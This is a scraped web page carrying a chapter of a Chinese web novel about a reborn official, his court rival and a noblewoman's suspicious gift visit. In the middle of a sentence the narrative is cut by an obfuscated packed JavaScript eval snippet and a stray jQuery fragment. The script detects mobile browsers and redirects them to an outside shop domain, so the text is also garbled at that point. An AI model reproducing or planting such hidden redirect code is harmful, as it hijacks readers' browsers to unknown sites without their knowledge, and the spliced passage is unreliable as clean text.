文趣网 > 都市小说 > 劫天命(重生) > 90. 来访
    盛夏来临,白日变长。

    明慎接任大理寺卿不过一月,接任的第一个案子就是公主刺杀案。

    这案子在白沧州一步一步的指引下结了案,但他到底是去了一个新部门,很多事都需要花时间熟络。

    刺杀案交给刑部以后,明慎反倒回来的越来越晚。

    最近府上都不摆明慎的饭菜。

    老师不回来,白沧州为着避嫌也不与明筱蝶一起用饭,都是叫人把饭送到房里。

    用完晚饭,白沧州想着再去抄点书,攒些银子。

    “垆边人似月,皓腕凝霜雪。①”

    白沧州写下最后一笔的时候,想着自己年少时期读到这句的疑惑。

    怎么会有女子好似素月,手腕宛若霜雪呢?那会儿大抵是他懵懂男女之情的时候。

    家里太穷,没有姑娘愿意嫁给他。

    这疑惑就这样放在了心里。

    后来他科举入仕,官阶越来越高,在都城也有了自己的府邸。

    流水一般的媒婆把白府的门槛都踩烂了。

    他始终没敢应承这些人。

    只是在朝堂上防着任溪知阴他,就耗费了他全部的精力。若是后院再让他分神,他便是要成为鱼肉被人放在案板上任人刀俎了。

    皓腕啊……

    确实有这样的人。

    那是用金银玉器,锦衣玉食堆砌起来的人。

    只是随便碰一下就有淤青。

    那不是凝霜雪,那是肤若凝脂……

    他们在村子被人追杀的那一晚,他无意间撞破许穆给自己肋骨涂药……

    他其实看到了一些,他只有在梦里才看见的东西。

    那凝白的半圆……

    白沧州想着身子便有些热,脸上立马起了红潮。

    他倏地抓起身边茶盏,一口灌下,想要压一压身体里的燥热。

    不想这十七岁的身子,根本不受他的控制。

    白沧州有些恼,即便理智告诉他不可以,但少年时期的身子总是对那些情事格外冲动。

    白沧州深吸一口气,努力压住那些悸动。

    手摸着茶盏的边缘,想着今日任溪知说的话——

    【宫里的事,你指着她去帮你走动,总该教会她防人之心不可无。】

    【谁对她笑一笑,她就能把自己的心肝肺掏出来……】

    任溪知才跟许穆接触几次,就知道她是这样的性子。

    白沧州轻轻地用食指弹了一下茶盏:“我没教她,你不是教了吗?”

    这一世任溪知的弱点暴露的太明显,只有他自己觉得他掩饰得很好。

    他重生而来谋了这一局,解了太傅之困,让老师重回朝堂。任溪知借力打力,逼着任家送他入仕途。

    这一局不能说他完胜,只能说任溪知赢得更多。

    重来一次,他们遇见的时间提前了二十年。

    他们都从这一局里面得到了自己想要的东西。

    任溪知还是略胜一筹。

    就像上一世,任溪知一直压着他那样开始轮回。

    命运可真是个奇妙的东西。

    无论怎样重来,该遇见的人终究会遇见。该是冤家的人,终究会成为他的冤家。

    杜家该投诚郭家,最后还是投了郭家。

    白沧州想到这一世还要继续跟任溪知斗下去,就觉得头疼,不由地捏住眉心。

    原本如水心境,在想到许穆之后就全乱了。

    白沧州胡乱地收了东西,不写字了。

    他铺好床铺坐在床头想,任溪知下手没个轻重,殿下那细嫩的脖颈上到底要留下一片淤青。

    那脖颈……

    白沧州回过神觉得自己可能是病了。怎么想到她,脑子里全是这些俗事。

    “公子,要睡了吗?”秋梨在门外低声问。

    “何事?”

    “小姐做了些糕点,着人送来……”

    白沧州没有起身,只道:“放在小厨房罢。”

    “是。”门外秋梨不再出声。

    白沧州撩被躺下,发觉被秋梨这么一打岔,方才那些情绪消失地无影无踪了。

    *

    “白公子。白公子!”

    白沧州警觉睁眼,听见门外有人唤他。

    外面天色大亮。

    他立即起身,打开门,看见门房小厮一脸焦急道:“白公子,小姐找公子去花厅。”

    白沧州看着这小厮一脸着急的样,昨日任溪知冷言犹在耳边,不好的预感油然而生。

    他让小厮先去,自己立即更衣洗漱,匆忙往前院花厅去。

    明筱蝶已经到了,坐在她对面的是一个打扮极其讲究的端庄妇人。

    白沧州打量一番,一身皇家贡品流光锦,来人身份不低。薄目红唇,看得出来年轻的时候也曾是个美人。

    妇人身后跟着两个上了年纪的老嬷嬷与四个年轻的侍女,每人手里都捧着一个红木盒子。

    明筱蝶见白沧州来,立即起身跑过来,下意识地想要抱住他胳膊。

    但看白沧州一脸肃穆对她轻轻摇着头,明筱蝶只能止住脚步,咬着唇,躲到白沧州身后,低声道:“白大哥,这是任大夫人。”

    任……

    白沧州眼眸微眯,任溪知的大伯母,任家大房。

    那个不好的预感骤然放大。

    任大夫人打量了白沧州一番,立即拿出笑容:“原来这就是明大人的得意门生,白沧州白公子罢。我经常在家听老爷与溪知说起你。”

    白沧州带着明筱蝶上前一礼:“白沧州见过任夫人。”

    说完他便让明筱蝶继续去坐着,自己则是站在她身边,道:“任夫人是来找老师的?老师这会儿应该在大理寺,不知道什么时候回来。”

    任大夫人连连摆手:“无妨。今日我来就是专门来见明姑娘的。”

    白沧州眉宇微蹙,忧心更甚。

    任大夫人看向身边的老嬷嬷,老嬷嬷立即上前递出一份礼单。

    任大夫人笑道:“初次登门拜访,不知道明姑娘喜欢什么。家里有些江南制造的绸缎,是当下时新的花样,想着明姑娘一定会喜欢,便带来了。一份薄礼,还望姑娘不要嫌弃。”

    白沧州蹙眉。

    明筱蝶不知道该怎么办,求助得侧头看向白沧州。

    白沧州缓缓回道:“任大夫人不知,师母去得早,小蝶年级还小,前院后院的事皆由老师一手操

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17971279|208260||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    办。夫人送的礼若是老师不点头,府上没人敢收。”

    白沧州话里话外都是拒绝的意思,任大夫人也不生气,只是笑道:“我既然来了,姑娘家里的情况自然是打听过一些的。既然这绸缎姑娘做不得主,我还备了些姑娘家头钗珠环绒花一类的小首饰给姑娘把玩。我家三个儿子,没有一个女儿,甚是遗憾。我也不知道我准备的这些符不符合姑娘的心意。”

    说着任大夫人身后另外一个老嬷嬷把一直抱在手里的红木盒打开。

    里面整齐摆满了金灿灿的耳环、珠钗、绒花。

    这些东西虽然没有江南制造的绸缎名贵,但也是金饰打造,价格不菲。

    白沧州扫了一眼任大夫人身后那些侍女,手上拿着还有别的木盒。

    任大夫人今日是有备而来。

    他推了一次,推了第二次,难道还能推第三次不成?

    他跟任溪知私底下不对付,那是私事。

    可任家大房登明府的大门,这是第一次。总不能别人第一次登门,就驳了任家大房的面子罢?

    白沧州脑子转得飞快,心里默默盘算着任大夫人此番前来的意图。

    他没说接礼,却也没有拒绝。

    跟在明筱蝶身边的齐嬷嬷,是宫里出来的老人,见多识广。

    她见白沧州与明筱蝶都没主意,事情也不好就这么僵着,便主动上前一步,把木盒收了过来,福了福身子,笑道:“老奴替咱们姑娘谢谢任大夫人的好意了。咱姑娘是个没娘的孩子,可怜见的。现在有任大夫人关心,当真是有了福气。大夫人说自己没女儿,心中遗憾,奴瞧着咱们姑娘跟夫人投缘,不如咱姑娘就认了夫人当干妈,夫人把咱姑娘当个干女儿,这盒珠钗刚好就是认亲的礼物,也好弥补心中的遗憾不是?”

    白沧州侧目看去,齐嬷嬷波澜不惊,谈笑间就不动声色地给这盒礼物找了个由头。

    任大夫人听了这话当即嘴角抽了一下,但脸上的笑容还在。

    明筱蝶一头雾水,她不懂齐嬷嬷怎么莫名巧妙就把这件事扯到了认干妈上。

    任大夫人缓了好一会儿,才继续笑着说:“明姑娘长得水灵,谁见了都想当自己女儿养。我也一样。认干女儿多没诚意呀?我想把她当亲女儿养呢。”

    就在这时站在任夫人身后的侍女上前,低声道:“夫人,今晚老爷还要在家宴请同僚。后厨的事情还需要夫人亲自走一趟。夫人不能回去太晚。”

    任大夫人一副恍然的表情,转头对明筱蝶道:“今日是我唐突登门。家里还有事,我就不久留了。改日我找个明大人在的时候再登门拜访。”

    明筱蝶连忙起身,就要送任大夫人。

    任大夫人被人簇拥着起身,跟明筱蝶说了句不用送,便带着人气势凶凶地走了。

    出了明府花厅,任大夫人对着身后的老嬷嬷,冷声道:“去查查明筱蝶身边的那个老嬷嬷是什么来头。”

    任大夫人来得突然,走得突然。

    明筱蝶还没明白刚才到底发生了什么。

    齐嬷嬷轻叹一口气,转头对白沧州道:“白公子,明姑娘的事你该跟老爷好好商量了。方才奴已经用收干女儿这种方式试探过了,任大夫人不接这话茬。”